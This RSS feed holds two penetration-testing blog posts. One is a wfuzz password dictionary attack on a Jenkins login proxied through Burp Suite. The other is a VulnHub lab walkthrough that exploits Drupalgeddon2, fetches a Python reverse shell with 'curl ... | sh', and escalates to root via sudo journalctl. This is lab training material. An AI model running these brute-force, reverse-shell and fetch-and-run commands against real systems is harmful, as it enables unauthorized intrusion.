<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by John Rivers on Medium]]></title>
        <description><![CDATA[Stories by John Rivers on Medium]]></description>
        <link>https://medium.com/@jrivers.cybersecurity?source=rss-44c4457d833f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Gsap1sEjB7ST90QYcmOpSg.jpeg</url>
            <title>Stories by John Rivers on Medium</title>
            <link>https://medium.com/@jrivers.cybersecurity?source=rss-44c4457d833f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 13:17:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jrivers.cybersecurity/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Integrating Wfuzz with Burp Suite]]></title>
            <link>https://medium.com/@jrivers.cybersecurity/integrating-wfuzz-with-burp-suite-545d12ea6996?source=rss-44c4457d833f------2</link>
            <guid isPermaLink="false">https://medium.com/p/545d12ea6996</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[wfuzz]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[John Rivers]]></dc:creator>
            <pubDate>Sat, 25 Jun 2022 23:09:52 GMT</pubDate>
            <atom:updated>2022-06-25T23:09:52.132Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/284/1*A5Mi9GlGI9EpeU-bfna2ZA.png" /><figcaption>From PortSwigger and Wfuzz</figcaption></figure><p>Words can’t express how much I appreciate Burp Suite, but sometimes you need Burp Suite-like functionality using other tools. For example, you may need to use Burp Intruder but</p><p>A) You only have Burp Suite Community Edition,</p><p>B) You’re taking an exam that doesn’t allow Burp Intruder, or</p><p>C) You prefer/need a command line option to Burp Intruder.</p><p>You’re in luck because you can pair another essential tool with Burp Suite via a proxy connection for Intruder-like functionality: Wfuzz — <a href="https://github.com/xmendez/wfuzz">xmendez/wfuzz: Web application fuzzer (github.com)</a>.</p><p>Wfuzz is an effective and dynamic tool by itself, going well beyond what this blog post entails. For this example, we’re using wfuzz for a <strong>password dictionary attack</strong> against a web application. This approach will be similar to using Hydra, but honestly Hydra’s syntax often confuses me and wfuzz has many advanced options.</p><h3>Setup and Enumeration</h3><p>If you don’t have wfuzz, install it using pip.</p><pre>pip3 install wfuzz</pre><p>Let’s see our target web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*_X_IDtfJEamjN9aeGgS9pg.png" /></figure><p>It’s a Jenkins login page, so we’ll try to login and intercept the HTTP request in Burp Proxy. This will give us the information we need for setting up wfuzz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xFJ-5nOfSab5dCX-sraXyQ.png" /></figure><p>Notice this is a HTTP POST request with the username and password specified in the data field.</p><h3>Basic wfuzz Commands</h3><p>Before we start proxying wfuzz through Burp Suite, let’s run a basic wfuzz command with two short username and password lists (<em>jenkins-users.txt</em> and <em>jenkins-password.txt</em>).</p><pre>wfuzz -z file,jenkins-users.txt -z file,jenkins-passwords.txt -d &quot;j_username=FUZZ&amp;j_password=FUZ2Z&amp;from=&amp;Submit=Sign+in&quot; <a href="http://10.129.45.237:8080/j_spring_security_check">http://10.129.45.237:8080/j_spring_security_check</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MiaTURMTsF1SmXaq_UKsQA.png" /></figure><ul><li>The wfuzz command includes two <em>-z</em> flags which specify the file payloads for the users and passwords lists.</li><li>Since this is a POST request, the <em>-d</em> flag specifies the data field content. Notice the substrings <em>FUZZ </em>and <em>FUZ2Z </em>correspond respectively to the first and second file payloads.</li><li>The full URL string is specified at the end of the wfuzz command.</li></ul><p>You probably noticed the output is not helpful. All HTTP requests received a 302 Found status response code, meaning our requests were redirected to a different web page.</p><p>At this point, we don’t know if any of these username/password combinations is correct since the request with legitimate credentials could also be redirected — possibly to a different page.</p><h3>Handling Redirects</h3><p>Let’s send another wfuzz command include the verbose flag, <em>-v</em>. This will output the redirection location specified in the HTTP response.</p><pre>wfuzz -v -z file,jenkins-users.txt -z file,jenkins-passwords.txt -d &quot;j_username=FUZZ&amp;j_password=FUZ2Z&amp;from=&amp;Submit=Sign+in&quot; <a href="http://10.129.45.237:8080/j_spring_security_check">http://10.129.45.237:8080/j_spring_security_check</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*27YvRWCZpKxPMwkRd1rSNw.png" /></figure><p>It’s not pretty, but now we have the <em>Redirect </em>column, specifying the redirection URL. One request did not redirect to the page <em>loginError</em> (the last item above). This seems very promising and is probably the correct credentials.</p><p>Another approach is to specify the <em>-L</em> option, which follows redirections.</p><pre>wfuzz -L -z file,jenkins-users.txt -z file,jenkins-passwords.txt -d &quot;j_username=FUZZ&amp;j_password=FUZ2Z&amp;from=&amp;Submit=Sign+in&quot; <a href="http://10.129.45.237:8080/j_spring_security_check">http://10.129.45.237:8080/j_spring_security_check</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ypkssCHmiMan2OOa0glnNw.png" /></figure><p>You’ll notice that the <em>Response</em>, <em>Lines</em>, <em>Word</em>, and <em>Chars</em> columns are different for one response (the one for the credentials <em>root:password</em>). Again, this points to the correct credentials. Sometime little differences for certain responses can provide useful hints when fuzzing.</p><h3>Combining wfuzz with Burp Suite</h3><p>Now, let’s get to pairing wfuzz with Burp Suite. As you can see, wfuzz is extremely useful by itself, but you may want to integrate wfuzz with Burp Suite.</p><ul><li>Sometimes you want to use Burp Suite’s GUI for reviewing HTTP requests and responses, or</li><li>You use Burp Suite as your main repository for web app enumeration.</li></ul><p>First, we’ll setup a new proxy listener in Burp Suite (in this example, over port 8081). Later, it will be clear why this can be helpful for filtering.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*5yL268ozkKpLYVAHa8CaMA.png" /></figure><p>Now, we’ll execute a new wfuzz command specifying the proxy by including:</p><p><em>-p localhost:8081:HTTP</em></p><pre>wfuzz -z file,jenkins-users.txt -z file,jenkins-passwords.txt -p localhost:8081:HTTP -d &quot;j_username=FUZZ&amp;j_password=FUZ2Z&amp;from=&amp;Submit=Sign+in&quot; <a href="http://10.129.45.237:8080/j_spring_security_check">http://10.129.45.237:8080/j_spring_security_check</a></pre><p>The command output will look our first one, but we can see the requests in Burp Proxy’s HTTP history.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NxFgt2XZO18MKehTXw4Wrw.png" /></figure><p>Congratulations! We can now log our wfuzz attempts in Burp Suite!</p><p>Note the last column in the screenshot above, <em>listener port</em>. Since wfuzz is using a different proxy port (port 8081) than the web browser (port 8080), we can filter Burp Proxy HTTP history by listener port (see red box below), allowing us to view only wfuzz traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*oC4rv_d06-DqHKWyFy-r5Q.png" /></figure><p>We can also do a negative search filter for the string “<em>loginError</em>” since we see that in the HTTP responses for incorrect credentials (see red boxes below). This is a similar approach to how Hydra works, with the benefit of filtering and analyzing traffic within Burp Suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tbCHq5GipNRrJ-OjD63ZFQ.png" /></figure><p>Now, we find the one request with correct credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tqPd3F84Cl5waya_s_2ZYQ.png" /></figure><h3>Leveraging User-Agent Headers</h3><p>You may have noticed that, by default, wfuzz includes a very conspicuous User-Agent header, <em>wfuzz/3.1.0</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*KrOxi6n_6RPkj4ADz-3Ouw.png" /></figure><p>This may be useful for filtering Burp Suite, since all requests from wfuzz will have this User-Agent header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*VIiq0glVctrgCrUAHCG6eQ.png" /></figure><p>There is another option for distinguishing wfuzz requests that don’t obviously come from this tool: Use a legitimate User-Agent that doesn’t match your web browser.</p><p>WhatIsMyBrowser.com has a useful list of User-Agents, grouped by operating system, platform, etc.: <a href="https://developers.whatismybrowser.com/useragents/explore/">Browse our database of 198.6 million User Agents — WhatIsMyBrowser.com</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*oF1MnA37OcflCn9FsdRyZg.png" /><figcaption>From WhatIsMyBrowser.com</figcaption></figure><p>As of this writing, manually browsing these User-Agent lists is free. WhatIsMyBrowser.com offers a paid database download with more content.</p><p>We can now run wfuzz again, specifying the exact User-Agent string using the <em>-H</em> option for HTTP headers. In this example, I used the User-Agent for the most recent version of Microsoft Edge. I’m testing on Kali Linux, so won’t unintentionally use this User-Agent for something else.</p><pre>wfuzz -z file,jenkins-users.txt -z file,jenkins-passwords.txt -p localhost:8081:HTTP -H &quot;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Edg/103.0.1264.37&quot; -d &quot;j_username=FUZZ&amp;j_password=FUZ2Z&amp;from=&amp;Submit=Sign+in&quot; <a href="http://10.129.45.237:8080/j_spring_security_check">http://10.129.45.237:8080/j_spring_security_check</a></pre><p>We can then filter in Burp Proxy HTTP history (or in Burp Logger) for this specific User-Agent string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*BnHtblP3NR4tESbMvLDYYQ.png" /></figure><p>If you can’t or don’t want to use Burp Intruder, you could assign a different User-Agent for every distinct attack/fuzzing attempt. This would allow you to filter for a specific attempt — granted you will need to keep notes mapping User-Agents to fuzzing attempts.</p><h3>Conclusion</h3><p>We’ve covered</p><ul><li>Basics of using wfuzz for password dictionary attacks against web apps,</li><li>Integrating wfuzz with Burp Suite via proxy settings,</li><li>Leveraging User-Agent strings for tracking and filtering wfuzz attempts</li></ul><p>I hope you found this useful! Please feel free to like and/or comment below.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=545d12ea6996" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnHub — VulnCMS: 1 (Drupalgeddon Path)]]></title>
            <link>https://medium.com/@jrivers.cybersecurity/vulnhub-vulncms-1-drupalgeddon-path-6d0c30d1673b?source=rss-44c4457d833f------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d0c30d1673b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnhub-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[John Rivers]]></dc:creator>
            <pubDate>Sun, 12 Jun 2022 23:24:03 GMT</pubDate>
            <atom:updated>2022-06-13T00:53:59.039Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*q81uIWkGbFiDJC1lQr9RDg.png" /></figure><p>Are you</p><ul><li>a novice web application penetration tester</li></ul><p>OR</p><ul><li>an experienced web app penetration tester looking to practice on an easier machine and relive the horrors of Drupalgeddon?</li></ul><p>Then VulnHub’s VulnCMS-1 is for you!</p><p>In addition to some solid web app practice, I used this walkthrough as an opportunity to share some useful techniques, such as proxying through Burp Suite to understand a Python exploit and getting a fully interactive reverse shell (even with zsh for the newer Kali versions).</p><p>Enjoy!</p><p><strong>Link to download target VM: </strong><a href="https://www.vulnhub.com/entry/vulncms-1,710/"><strong>VulnCMS: 1 ~ VulnHub</strong></a></p><h3>Enumeration</h3><p>Let’s get started with a Nmap scan.</p><pre>sudo nmap -p- -T5 -Pn -sV -sC -n — osscan-guess -oA VulnCMS-1 192.168.224.129</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*5YNEHeYToj9lHGIfc9gMiw.png" /></figure><p>There are several HTTP services open — with web application software and versions listed that should be verified and researched for exploitation.</p><p>Let’s grab the HTTP ports with this bash one-liner.</p><pre>start=true; for i in $(agrep &#39;open;http&#39; VulnCMS-1.nmap | awk &#39;{print $1}&#39; | awk -F &#39;/&#39; &#39;{print $1}&#39;); do if $start; then printf $i &gt;&gt; http-ports.txt; start=false; else printf ,$i &gt;&gt; http-ports.txt; fi; done</pre><p>We can then use these ports for Nikto scan.</p><pre>nikto -h 192.168.224.129 -p $(cat http-ports.txt) -output nikto.txt</pre><p>The output is lengthy, and I want to focus on one service for this walkthrough (although there may be other vulnerable services — hint, hint…).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*maZNqmdiKvbm2qxwb8DOKQ.png" /></figure><p>Nikto identified a web application using Drupal 7 as the web content management system. You might have noticed that the Nmap scan revealed the same enumeration info.</p><p>Examining the webpage source code also reveals that it’s using Drupal 7.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*dH6fa52Mr_oye4OhUR2UXA.png" /></figure><p>Drupal 7 may raise a red flag (as you’ll soon see), and we can check searchsploit for public exploits.</p><pre>searchsploit drupal 7</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*0VFGzaUOseGek54ytAybYg.png" /></figure><p>The Drupalgeddon RCE vulnerability immediately pops up. There’s an easy route to RCE using Metasploit, but I want to avoiding using Metasploit for this walkthrough.</p><h3>Exploitation</h3><p>A search online reveals a Python PoC: <a href="https://github.com/lorddemon/drupalgeddon2">lorddemon/drupalgeddon2: Exploit for CVE-2018–7600.. called drupalgeddon2, (github.com)</a></p><p>After reviewing the exploit source code to check for any unanticipated malicious behavior (always a great idea), you’ll find some straightforward Python code.</p><p>Using this Python exploit script (drupalgeddon2.py), we can run a simple Linux command, such as <em>uname -a</em>, to see if the output is displayed on the attacker machine (i.e., this isn’t a blind attack):</p><pre>python2 drupalgeddon2.py -h <a href="http://192.168.224.129:9001/">http://192.168.224.129:9001</a> -c ‘uname -a’</pre><p>Sure enough, we see the output on our terminal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*P4EIdpg7Z2cJQkbcpeX1Yw.png" /></figure><p>If this was a blind attack, we could execute the exploit with a command that pings our attacker machine (Terminal A):</p><pre>python2 drupalgeddon2.py -h <a href="http://192.168.224.55:9001/">http://192.168.224.129:9001</a> -c &#39;ping -c 3 192.168.224.130&#39;</pre><p>Before executing this command, make sure to open a separate terminal window to check for the received ICMP ping (Terminal B).</p><pre>sudo tcpdump -i eth1 icmp</pre><p>On Terminal A, we verify that the ping command successfully executed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*Ju9pRDWeRTUWimb6Xi_CEA.png" /></figure><p>On Terminal B, we see the target machine reaching out to our attacker machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*rLycIRvEnzOvsFwJV4hU2Q.png" /></figure><p>I want to dive a little deeper to better understand this exploit in action by proxying through Burp Suite. This can also be helpful when you need to troubleshoot a broken exploit or leverage Burp Suite functionality such as Intruder.</p><p>Since the exploit is using the Python Requests library, adding a proxy is very easy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ebgN6ijyiRm1CnqE-0fQ7Q.png" /></figure><p>Box 1 specifies the Burp Suite proxy URL and port. Boxes 2 and 3 specify the proxy used during the POST requests.</p><p>Make sure you have Burp Suite running and properly configured (including turning Intercept off), then run the original exploit command.</p><p>In Burp Suite, “Proxy &gt; HTTP history” shows two new HTTP requests. This makes sense from the two POST requests in the exploit’s Python code (see Boxes 2 and 3 above).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AEkvHH6hTnhPz-xBDve0Sw.png" /></figure><p>Let’s look at the exploit code to understand why two POST requests were needed. Here we see that the script makes the first POST request, then searches that request for the regular expression string:</p><blockquote>&lt;input type=&quot;hidden&quot; name=&quot;form_build_id&quot; value=&quot;([^&quot;]+)&quot; /&gt;&#39;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*laxDrsFeF0SWDeb-nhbMXA.png" /></figure><p>Let’s search for the initial part of this string in the first POST request, as captured by Burp Suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*NuGFj98H1dHU1WrRGRhjAQ.png" /></figure><p>We find the string in the Response below. This screenshot illustrates the key parts of the first POST Request/Response. Box 1 shows where the payload <em>uname -a</em> is passed in the URL string. Box 2 shows that the exploit string is searching for a CRSF token (<em>form-3ezYm9e6OnxGBCVK7_ih7qT6vRNmrPt586hbbNDQKnU</em>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b3TmONhVQ3U0WlWfEZ-Bug.png" /></figure><p>The second POST Request reveals that the CSRF token is used in both the URL string and the data body.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*QHzILQatfifvJuZdjuzRXA.png" /></figure><p>The corresponding POST Response reveals the <em>uname -a</em> command output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*DBhl69tzzyUXlXzJR3Im3w.png" /></figure><p>Now that we have an understanding of how the exploit works, let’s start setting up a reverse shell for RCE.</p><p>It doesn’t seem like we can create a test file in the default directory. See that after running the <em>touch</em> command to create a file <em>test.txt</em>, the file wasn’t successfully created.</p><pre>python2 drupalgeddon2.py -h <a href="http://192.168.224.129:9001/">http://192.168.224.129:9001</a> -c &#39;touch test.txt&#39;</pre><pre>python2 drupalgeddon2.py -h <a href="http://192.168.224.129:9001/">http://192.168.224.129:9001</a> -c &#39;ls&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*hTAq8drdC5xp4HGfSOTLyw.png" /></figure><p>We could either try to find a writeable directory or run the reverse shell in memory.</p><p>Let’s see if any useful tools are installed on the target, such as Python.</p><pre>python2 drupalgeddon2.py -h <a href="http://192.168.224.129:9001/">http://192.168.224.129:9001</a> -c &#39;python -V</pre><pre>python2 drupalgeddon2.py -h <a href="http://192.168.224.129:9001/">http://192.168.224.129:9001</a> -c &#39;python3 -V&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*Nj7dJq4C-A0TFLzLe7A_3w.png" /></figure><p>It looks like Python3 is installed on the target! On the attacker machine, create a file containing simple Python reverse shell. Make to replace the IP address and port with the nc listener on your attacker machine.</p><p><em>rev.py:</em></p><pre>python3 -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;192.168.224.130&quot;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&#39;</pre><p>In Terminal A, setup the nc listener.</p><pre>nc -nvlp 1234</pre><p>In Terminal B, setup a Python3 HTTP server. Make sure you’re in the same directory as the Python reverse shell script (<em>rev.py</em>).</p><pre>python3 -m http.server 80</pre><p>In Terminal C, run the Drupalgeddon exploit script (<em>drupalgeddon2.py</em>) with a command that will curl the Python reverse shell script that you’re hosting on Terminal B, then pipe the reverse shell script to <em>sh</em>.</p><pre>python2 drupalgeddon2.py -h http://192.168.224.129:9001 -c &#39;curl http://192.168.224.130/rev.py | sh&#39;</pre><p>We now have a reverse shell as the <em>www-data</em> user!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*r37kJ3x3T6-i-QKwQFLAzA.png" /></figure><p>Let’s get a more stable shell. Run this Python one-liner.</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*iqv17IIN5C5AFTAB0kumJA.png" /></figure><p>To setup an interactive shell that fits our current terminal window, we first need to check our terminal’s dimensions (run this in a fresh attacker terminal/tab).</p><pre>stty size</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/172/1*mHKlAXc_nueDvASiPGO1QA.png" /></figure><p>Now run these commands (in the reverse shell created above) to get an interactive shell that allows you to use autocomplete, arrows, etc. This should work both on <em>bash </em>and <em>zsh </em>(which is very helpful for newer version of Kali).</p><p>NOTE: The rows and columns values (51 and 236) are from above. Also, the combined instructions for <em>stty raw -echo</em> and <em>fg</em> (line 2) is critical for this to work for <em>zsh</em>.</p><pre>CTRL + Z</pre><pre>stty raw -echo; fg</pre><pre>&lt;ENTER&gt;x2</pre><pre>export SHELL=bash</pre><pre>stty rows 51 columns 236</pre><pre>export TERM=xterm-256color</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*cvrTchkQ1sBjD2RFnYkZDw.png" /></figure><h3>Privilege Escalation</h3><p>While I usually run PrivEsc tools such as LinPEAS and pspy, let’s do a quick review of the files in the default directory, <em>/var/www/html/drupal</em>. Leveraging <em>grep</em> or <em>find</em> to enumerate password, username, and configuration files can be helpful.</p><pre>find . \( -name &quot;*pass*&quot; -o -name &quot;*user*&quot; -o -name &quot;*config*&quot; \)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*RAGqOW4ERi4fSyzBtHW8gg.png" /></figure><p>You’ll see several promising files above. There are several routes to privilege escalation, but we’ll focus on an easier one: The <em>./misc/tyrell.pass</em> file should really stick out, especially if you enumerated users in the home directory.</p><pre>ls /home</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*EPQq2nqx1K7PojXOSzLOlw.png" /></figure><p>Output the contents of <em>tyrell.pass</em> to get the password.</p><pre>cat ./misc/tyrell.pass</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*iTozp1_KJKNekFvRZ9htrw.png" /></figure><p>Since we have a fully interactive shell, we can just switch to the <em>tyrell </em>user with the discovered password.</p><pre>su tyrell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*QM6e6bYOi44h3U8hnykMMw.png" /></figure><p>For a more difficult target, I’d normally run LinPEAS again as the <em>tyrell </em>user, but let’s look at the low-hanging fruit by checking this user’s sudo privileges.</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*qNmEMDBlTwoecHfOcrndnw.png" /></figure><p>Reference the essential resource GTFOBins to research the binary <em>journalctl: </em><a href="https://gtfobins.github.io/gtfobins/journalctl/#sudo">journalctl | GTFOBins</a>. This provides a simple path to root.</p><pre>sudo /bin/journalctl</pre><pre>!/bin/sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1bIVD8RoW3r3k9FGxbRNbw.png" /></figure><p>…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*koSTTAT7dVFKTFaENa-reA.png" /></figure><p>We now have root!</p><h3>Done!</h3><p>That’s just one path from initial foothold to root for this VM. Feel free to fully enumerate and try more paths.</p><p>Have fun! I’m always open to questions and feedback in the comments below.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d0c30d1673b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>